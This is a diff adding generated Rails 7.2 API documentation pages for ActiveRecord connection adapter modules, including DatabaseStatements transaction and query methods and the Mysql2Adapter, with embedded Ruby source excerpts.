+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 426
+      def begin_isolated_db_transaction(isolation)
+        raise ActiveRecord::TransactionIsolationError, "adapter does not support setting transaction isolation"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + commit_db_transaction() + +

+ + +
+

Commits the transaction (and turns on auto-committing).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 431
+      def commit_db_transaction()   end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = [], returning: nil) + +

+ + +
+ +
+ + + + + +
+ Alias for: insert +
+ + + + +
+ +
+

+ + default_sequence_name(table, column) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 453
+      def default_sequence_name(table, column)
+        nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(arel, name = nil, binds = []) + +

+ + +
+

Executes the delete statement and returns the number of rows affected.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 212
+      def delete(arel, name = nil, binds = [])
+        sql, binds = to_sql_and_binds(arel, binds)
+        exec_delete(sql, name, binds)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + empty_insert_statement_value(primary_key = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 485
+      def empty_insert_statement_value(primary_key = nil)
+        "DEFAULT VALUES"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exec_delete(sql, name = nil, binds = []) + +

+ + +
+

Executes delete sql statement in the context of this connection using binds as the bind substitutes. name is logged along with the executed sql statement.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 165
+      def exec_delete(sql, name = nil, binds = [])
+        internal_exec_query(sql, name, binds)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exec_insert(sql, name = nil, binds = [], pk = nil, sequence_name = nil, returning: nil) + +

+ + +
+

Executes insert sql statement in the context of this connection using binds as the bind substitutes. name is logged along with the executed sql statement. Some adapters support the β€˜returning` keyword argument which allows to control the result of the query: `nil` is the default value and maintains default behavior. If an array of column names is passed - the result will contain values of the specified columns from the inserted row.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 157
+      def exec_insert(sql, name = nil, binds = [], pk = nil, sequence_name = nil, returning: nil)
+        sql, binds = sql_for_insert(sql, pk, binds, returning)
+        internal_exec_query(sql, name, binds)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exec_query(sql, name = "SQL", binds = [], prepare: false) + +

+ + +
+

Executes sql statement in the context of this connection using binds as the bind substitutes. name is logged along with the executed sql statement.

+ +

Note: the query is assumed to have side effects and the query cache will be cleared. If the query is read-only, consider using select_all instead.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 147
+      def exec_query(sql, name = "SQL", binds = [], prepare: false)
+        internal_exec_query(sql, name, binds, prepare: prepare)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exec_update(sql, name = nil, binds = []) + +

+ + +
+

Executes update sql statement in the context of this connection using binds as the bind substitutes. name is logged along with the executed sql statement.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 172
+      def exec_update(sql, name = nil, binds = [])
+        internal_exec_query(sql, name, binds)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + execute(sql, name = nil, allow_retry: false) + +

+ + +
+

Executes the SQL statement in the context of this connection and returns the raw result from the connection adapter.

+ +

Setting allow_retry to true causes the db to reconnect and retry executing the SQL statement in case of a connection-related exception. This option should only be enabled for known idempotent queries.

+ +

Note: the query is assumed to have side effects and the query cache will be cleared. If the query is read-only, consider using select_all instead.

+ +

Note: depending on your database connector, the result returned by this method may be manually memory managed. Consider using exec_query wrapper instead.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 136
+      def execute(sql, name = nil, allow_retry: false)
+        internal_execute(sql, name, allow_retry: allow_retry)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + high_precision_current_timestamp() + +

+ + +
+

Returns an Arel SQL literal for the CURRENT_TIMESTAMP for usage with arbitrary precision date/time columns.

+ +

Adapters supporting datetime with precision should override this to provide as much precision as is available.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 523
+      def high_precision_current_timestamp
+        HIGH_PRECISION_CURRENT_TIMESTAMP
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + insert(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = [], returning: nil) + +

+ + +
+

Executes an INSERT query and returns the new record’s ID

+ +

id_value will be returned unless the value is nil, in which case the database will attempt to calculate the last inserted id and return that value.

+ +

If the next id was calculated in advance (as in Oracle), it should be passed in as id_value. Some adapters support the β€˜returning` keyword argument which allows defining the return value of the method: `nil` is the default value and maintains default behavior. If an array of column names is passed - an array of is returned from the method representing values of the specified columns from the inserted row.

+
+ + + +
+ Also aliased as: create +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 195
+      def insert(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = [], returning: nil)
+        sql, binds = to_sql_and_binds(arel, binds)
+        value = exec_insert(sql, name, binds, pk, sequence_name, returning: returning)
+
+        return returning_column_values(value) unless returning.nil?
+
+        id_value || last_inserted_id(value)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + insert_fixture(fixture, table_name) + +

+ + +
+

Inserts the given fixture into the table. Overridden in adapters that require something beyond a simple insert (e.g. Oracle). Most of adapters should implement insert_fixtures_set that leverages bulk SQL insert. We keep this method to provide fallback for databases like SQLite that do not support bulk inserts.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 467
+      def insert_fixture(fixture, table_name)
+        execute(build_fixture_sql(Array.wrap(fixture), table_name), "Fixture Insert")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + insert_fixtures_set(fixture_set, tables_to_delete = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 471
+      def insert_fixtures_set(fixture_set, tables_to_delete = [])
+        fixture_inserts = build_fixture_statements(fixture_set)
+        table_deletes = tables_to_delete.map { |table| "DELETE FROM #{quote_table_name(table)}" }
+        statements = table_deletes + fixture_inserts
+
+        with_multi_statements do
+          transaction(requires_new: true) do
+            disable_referential_integrity do
+              execute_batch(statements, "Fixtures Load")
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset_sequence!(table, column, sequence = nil) + +

+ + +
+

Set the sequence to the max value of the table’s column.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 458
+      def reset_sequence!(table, column, sequence = nil)
+        # Do nothing by default. Implement for PostgreSQL, Oracle, ...
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + restart_db_transaction() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 443
+      def restart_db_transaction
+        exec_restart_db_transaction
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rollback_db_transaction() + +

+ + +
+

Rolls back the transaction (and turns on auto-committing). Must be done if the transaction block raises an exception or returns false.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 435
+      def rollback_db_transaction
+        exec_rollback_db_transaction
+      rescue ActiveRecord::ConnectionNotEstablished, ActiveRecord::ConnectionFailed
+        # Connection's gone; that counts as a rollback
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rollback_to_savepoint(name = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 449
+      def rollback_to_savepoint(name = nil)
+        exec_rollback_to_savepoint(name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sanitize_limit(limit) + +

+ + +
+

Sanitizes the given LIMIT parameter in order to prevent SQL injection.

+ +

The limit may be anything that can evaluate to a string via to_s. It should look like an integer, or an Arel SQL literal.

+ +

Returns Integer and Arel::Nodes::SqlLiteral limits as is.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 495
+      def sanitize_limit(limit)
+        if limit.is_a?(Integer) || limit.is_a?(Arel::Nodes::SqlLiteral)
+          limit
+        else
+          Integer(limit)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_all(arel, name = nil, binds = [], preparable: nil, async: false, allow_retry: false) + +

+ + +
+

Returns an ActiveRecord::Result instance.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 69
+      def select_all(arel, name = nil, binds = [], preparable: nil, async: false, allow_retry: false)
+        arel = arel_from_relation(arel)
+        sql, binds, preparable, allow_retry = to_sql_and_binds(arel, binds, preparable, allow_retry)
+
+        select(sql, name, binds,
+          prepare: prepared_statements && preparable,
+          async: async && FutureResult::SelectAll,
+          allow_retry: allow_retry
+        )
+      rescue ::RangeError
+        ActiveRecord::Result.empty(async: async)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_one(arel, name = nil, binds = [], async: false) + +

+ + +
+

Returns a record hash with the column names as keys and column values as values.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 84
+      def select_one(arel, name = nil, binds = [], async: false)
+        select_all(arel, name, binds, async: async).then(&:first)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_rows(arel, name = nil, binds = [], async: false) + +

+ + +
+

Returns an array of arrays containing the field values. Order is the same as that returned by columns.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 101
+      def select_rows(arel, name = nil, binds = [], async: false)
+        select_all(arel, name, binds, async: async).then(&:rows)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_value(arel, name = nil, binds = [], async: false) + +

+ + +
+

Returns a single value from a record

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 89
+      def select_value(arel, name = nil, binds = [], async: false)
+        select_rows(arel, name, binds, async: async).then { |rows| single_value_from_rows(rows) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_values(arel, name = nil, binds = []) + +

+ + +
+

Returns an array of the values of the first column in a select:

+ +
select_values("SELECT id FROM companies LIMIT 3") => [1,2,3]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 95
+      def select_values(arel, name = nil, binds = [])
+        select_rows(arel, name, binds).map(&:first)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_sql(arel_or_sql_string, binds = []) + +

+ + +
+

Converts an arel AST to SQL

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 12
+      def to_sql(arel_or_sql_string, binds = [])
+        sql, _ = to_sql_and_binds(arel_or_sql_string, binds)
+        sql
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transaction(requires_new: nil, isolation: nil, &block) + +

+ + +
+

Runs the given block in a database transaction, and returns the result of the block.

+ +

Transaction callbacks

+ +

transaction yields an ActiveRecord::Transaction object on which it is possible to register callback:

+ +
ActiveRecord::Base.transaction do |transaction|
+  transaction.before_commit { puts "before commit!" }
+  transaction.after_commit { puts "after commit!" }
+  transaction.after_rollback { puts "after rollback!" }
+end
+
+ +

Nested transactions support

+ +

transaction calls can be nested. By default, this makes all database statements in the nested transaction block become part of the parent transaction. For example, the following behavior may be surprising:

+ +
ActiveRecord::Base.transaction do
+  Post.create(title: 'first')
+  ActiveRecord::Base.transaction do
+    Post.create(title: 'second')
+    raise ActiveRecord::Rollback
+  end
+end
+
+ +

This creates both β€œfirst” and β€œsecond” posts. Reason is the ActiveRecord::Rollback exception in the nested block does not issue a ROLLBACK. Since these exceptions are captured in transaction blocks, the parent block does not see it and the real transaction is committed.

+ +

Most databases don’t support true nested transactions. At the time of writing, the only database that supports true nested transactions that we’re aware of, is MS-SQL.

+ +

In order to get around this problem, transaction will emulate the effect of nested transactions, by using savepoints: dev.mysql.com/doc/refman/en/savepoint.html.

+ +

It is safe to call this method if a database transaction is already open, i.e. if transaction is called within another transaction block. In case of a nested call, transaction will behave as follows:

+
  • +

    The block will be run without doing anything. All database statements that happen within the block are effectively appended to the already open database transaction.

    +
  • +

    However, if :requires_new is set, the block will be wrapped in a database savepoint acting as a sub-transaction.

    +
+ +

In order to get a ROLLBACK for the nested transaction you may ask for a real sub-transaction by passing requires_new: true. If anything goes wrong, the database rolls back to the beginning of the sub-transaction without rolling back the parent transaction. If we add it to the previous example:

+ +
ActiveRecord::Base.transaction do
+  Post.create(title: 'first')
+  ActiveRecord::Base.transaction(requires_new: true) do
+    Post.create(title: 'second')
+    raise ActiveRecord::Rollback
+  end
+end
+
+ +

only post with title β€œfirst” is created.

+ +

See ActiveRecord::Transactions to learn more.

+ +

Caveats

+ +

MySQL doesn’t support DDL transactions. If you perform a DDL operation, then any created savepoints will be automatically released. For example, if you’ve created a savepoint, then you execute a CREATE TABLE statement, then the savepoint that was created will be automatically released.

+ +

This means that, on MySQL, you shouldn’t execute DDL operations inside a transaction call that you know might create a savepoint. Otherwise, transaction will raise exceptions when it tries to release the already-automatically-released savepoints:

+ +
Model.lease_connection.transaction do  # BEGIN
+  Model.lease_connection.transaction(requires_new: true) do  # CREATE SAVEPOINT active_record_1
+    Model.lease_connection.create_table(...)
+    # active_record_1 now automatically released
+  end  # RELEASE SAVEPOINT active_record_1  <--- BOOM! database error!
+end
+
+ +

Transaction isolation

+ +

If your database supports setting the isolation level for a transaction, you can set it like so:

+ +
Post.transaction(isolation: :serializable) do
+  # ...
+end
+
+ +

Valid isolation levels are:

+
  • +

    :read_uncommitted

    +
  • +

    :read_committed

    +
  • +

    :repeatable_read

    +
  • +

    :serializable

    +
+ +

You should consult the documentation for your database to understand the semantics of these different levels:

+ + +

An ActiveRecord::TransactionIsolationError will be raised if:

+
  • +

    The adapter does not support setting the isolation level

    +
  • +

    You are joining an existing open transaction

    +
  • +

    You are creating a nested (savepoint) transaction

    +
+ +

The mysql2, trilogy, and postgresql adapters support setting the transaction isolation level.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 354
+      def transaction(requires_new: nil, isolation: nil, joinable: true, &block)
+        if !requires_new && current_transaction.joinable?
+          if isolation
+            raise ActiveRecord::TransactionIsolationError, "cannot set isolation when joining a transaction"
+          end
+          yield current_transaction.user_transaction
+        else
+          transaction_manager.within_new_transaction(isolation: isolation, joinable: joinable, &block)
+        end
+      rescue ActiveRecord::Rollback
+        # rollbacks are silently swallowed
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transaction_isolation_levels() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 414
+      def transaction_isolation_levels
+        {
+          read_uncommitted: "READ UNCOMMITTED",
+          read_committed:   "READ COMMITTED",
+          repeatable_read:  "REPEATABLE READ",
+          serializable:     "SERIALIZABLE"
+        }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transaction_open?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 381
+      def transaction_open?
+        current_transaction.open?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + truncate(table_name, name = nil) + +

+ + +
+

Executes the truncate statement.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 218
+      def truncate(table_name, name = nil)
+        execute(build_truncate_statement(table_name), name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update(arel, name = nil, binds = []) + +

+ + +
+

Executes the update statement and returns the number of rows affected.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 206
+      def update(arel, name = nil, binds = [])
+        sql, binds = to_sql_and_binds(arel, binds)
+        exec_update(sql, name, binds)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + write_query?(sql) + +

+ + +
+

Determines whether the SQL statement is a write query.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 118
+      def write_query?(sql)
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/Deduplicable.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Deduplicable.html new file mode 100644 index 0000000000..a74916c27e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Deduplicable.html @@ -0,0 +1,147 @@ +--- +title: ActiveRecord::ConnectionAdapters::Deduplicable +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + -@() + +

+ + +
+ +
+ + + + + +
+ Alias for: deduplicate +
+ + + + +
+ +
+

+ + deduplicate() + +

+ + +
+ +
+ + + +
+ Also aliased as: -@ +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/deduplicable.rb, line 18
+      def deduplicate
+        self.class.registry[self] ||= deduplicated
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/Deduplicable/ClassMethods.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Deduplicable/ClassMethods.html new file mode 100644 index 0000000000..859e39ecb7 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Deduplicable/ClassMethods.html @@ -0,0 +1,140 @@ +--- +title: ActiveRecord::ConnectionAdapters::Deduplicable::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + new(*, **) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/deduplicable.rb, line 13
+        def new(*, **)
+          super.deduplicate
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + registry() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/deduplicable.rb, line 9
+        def registry
+          @registry ||= {}
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL.html new file mode 100644 index 0000000000..fb85d38244 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL.html @@ -0,0 +1,94 @@ +--- +title: ActiveRecord::ConnectionAdapters::MySQL +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL/ColumnMethods.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL/ColumnMethods.html new file mode 100644 index 0000000000..4bc88efc13 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL/ColumnMethods.html @@ -0,0 +1,373 @@ +--- +title: ActiveRecord::ConnectionAdapters::MySQL::ColumnMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + blob(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + longblob(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + longtext(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + mediumblob(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + mediumtext(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + tinyblob(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + tinytext(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + unsigned_bigint(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + unsigned_decimal(*names, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql/schema_definitions.rb, line 53
+        included do
+          define_column_methods :blob, :tinyblob, :mediumblob, :longblob,
+            :tinytext, :mediumtext, :longtext, :unsigned_integer, :unsigned_bigint,
+            :unsigned_float, :unsigned_decimal
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unsigned_float(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + unsigned_integer(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL/DatabaseStatements.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL/DatabaseStatements.html new file mode 100644 index 0000000000..4166c515ea --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL/DatabaseStatements.html @@ -0,0 +1,192 @@ +--- +title: ActiveRecord::ConnectionAdapters::MySQL::DatabaseStatements +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + build_explain_clause(options = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb, line 36
+        def build_explain_clause(options = [])
+          return "EXPLAIN" if options.empty?
+
+          explain_clause = "EXPLAIN #{options.join(" ").upcase}"
+
+          if analyze_without_explain? && explain_clause.include?("ANALYZE")
+            explain_clause.sub("EXPLAIN ", "")
+          else
+            explain_clause
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + explain(arel, binds = [], options = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb, line 27
+        def explain(arel, binds = [], options = [])
+          sql     = build_explain_clause(options) + " " + to_sql(arel, binds)
+          start   = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+          result  = internal_exec_query(sql, "EXPLAIN", binds)
+          elapsed = Process.clock_gettime(Process::CLOCK_MONOTONIC) - start
+
+          MySQL::ExplainPrettyPrinter.new.pp(result, elapsed)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + high_precision_current_timestamp() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb, line 23
+        def high_precision_current_timestamp
+          HIGH_PRECISION_CURRENT_TIMESTAMP
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL/Table.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL/Table.html new file mode 100644 index 0000000000..adeea6c723 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL/Table.html @@ -0,0 +1,80 @@ +--- +title: ActiveRecord::ConnectionAdapters::MySQL::Table +layout: default +--- +
+ +
+
+ +
+ +

Active Record MySQL Adapter Table

+ +
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL/TableDefinition.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL/TableDefinition.html new file mode 100644 index 0000000000..db837ce2f9 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/MySQL/TableDefinition.html @@ -0,0 +1,151 @@ +--- +title: ActiveRecord::ConnectionAdapters::MySQL::TableDefinition +layout: default +--- +
+ +
+
+ +
+ +

Active Record MySQL Adapter Table Definition

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + charset
+ [R] + collation
+ + + + +

Class Public methods

+ +
+

+ + new(conn, name, charset: nil, collation: nil, **) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql/schema_definitions.rb, line 66
+        def initialize(conn, name, charset: nil, collation: nil, **)
+          super
+          @charset = charset
+          @collation = collation
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/Mysql2.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Mysql2.html new file mode 100644 index 0000000000..ddc1de07fd --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Mysql2.html @@ -0,0 +1,69 @@ +--- +title: ActiveRecord::ConnectionAdapters::Mysql2 +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/Mysql2/DatabaseStatements.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Mysql2/DatabaseStatements.html new file mode 100644 index 0000000000..2c70ee6c9e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Mysql2/DatabaseStatements.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::ConnectionAdapters::Mysql2::DatabaseStatements +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/Mysql2Adapter.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Mysql2Adapter.html new file mode 100644 index 0000000000..c93d54ede4 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Mysql2Adapter.html @@ -0,0 +1,639 @@ +--- +title: ActiveRecord::ConnectionAdapters::Mysql2Adapter +layout: default +--- +
+ +
+
+ +
+ +

Active Record MySQL2 Adapter

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ADAPTER_NAME="Mysql2"
ER_ACCESS_DENIED_ERROR=1045
ER_BAD_DB_ERROR=1049
ER_CONN_HOST_ERROR=2003
ER_DBACCESS_DENIED_ERROR=1044
ER_UNKNOWN_HOST_ERROR=2005
TYPE_MAP=Type::TypeMap.new.tap { |m| initialize_type_map(m) }
+ + + + + + +

Class Public methods

+ +
+

+ + new(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb, line 55
+      def initialize(...)
+        super
+
+        @config[:flags] ||= 0
+
+        if @config[:flags].kind_of? Array
+          @config[:flags].push "FOUND_ROWS"
+        else
+          @config[:flags] |= ::Mysql2::Client::FOUND_ROWS
+        end
+
+        @connection_parameters ||= @config
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new_client(config) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb, line 24
+        def new_client(config)
+          ::Mysql2::Client.new(config)
+        rescue ::Mysql2::Error => error
+          case error.error_number
+          when ER_BAD_DB_ERROR
+            raise ActiveRecord::NoDatabaseError.db_error(config[:database])
+          when ER_DBACCESS_DENIED_ERROR, ER_ACCESS_DENIED_ERROR
+            raise ActiveRecord::DatabaseConnectionError.username_error(config[:username])
